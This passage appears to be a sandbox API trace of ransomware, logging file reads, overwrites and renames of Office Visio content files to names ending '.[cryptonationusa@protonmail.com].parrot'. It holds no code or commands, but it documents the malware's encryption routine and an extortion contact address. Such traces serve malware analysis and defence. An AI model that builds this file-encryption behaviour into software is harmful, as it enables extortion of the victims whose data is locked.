Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPRES_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpres_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPRES_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpres_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.425] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.437] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.437] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18e00, lpOverlapped=0x0) returned 1 [0214.440] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPRES_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpres_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BPRES_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bpres_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.452] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.452] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.454] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x559, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x559, lpOverlapped=0x0) returned 1 [0214.454] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.460] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.460] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.461] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.461] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8800, lpOverlapped=0x0) returned 1 [0214.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.470] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.472] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0214.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.477] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.478] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.479] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8800, lpOverlapped=0x0) returned 1 [0214.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.485] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.485] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.486] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.486] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7800, lpOverlapped=0x0) returned 1 [0214.488] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BSTORM_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bstorm_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.493] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.493] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.494] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22800, lpOverlapped=0x0) returned 1 [0214.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BTHKT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bthkt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BTHKT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bthkt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.507] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.507] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.508] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.509] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fc00, lpOverlapped=0x0) returned 1 [0214.514] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BTHKT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bthkt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BTHKT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bthkt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.527] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.528] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c000, lpOverlapped=0x0) returned 1 [0214.531] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CABNT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cabnt_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CABNT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cabnt_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.543] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.545] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.545] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1c200, lpOverlapped=0x0) returned 1 [0214.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CABNT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cabnt_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CABNT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\cabnt_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.561] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.561] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.604] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.605] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0214.630] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.630] WriteFile (in: hFile=0x288, lpBuffer=0x2298068*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2298068*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0214.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.634] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0214.637] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19f118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0214.637] CloseHandle (hObject=0x288) returned 1 [0214.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.646] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.649] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.649] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14000, lpOverlapped=0x0) returned 1 [0214.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.665] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.667] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0214.695] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.695] WriteFile (in: hFile=0x288, lpBuffer=0x2298068*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2298068*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0214.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.700] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0214.702] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19db18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0214.702] CloseHandle (hObject=0x288) returned 1 [0214.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.712] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.712] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.713] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.714] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14000, lpOverlapped=0x0) returned 1 [0214.719] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALNDR_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calndr_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.730] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.730] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.731] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.732] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21a00, lpOverlapped=0x0) returned 1 [0214.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.737] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calout_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calout_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.744] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.745] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1fc00, lpOverlapped=0x0) returned 1 [0214.751] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calout_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\CALOUT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\calout_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0214.764] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0214.764] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0214.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 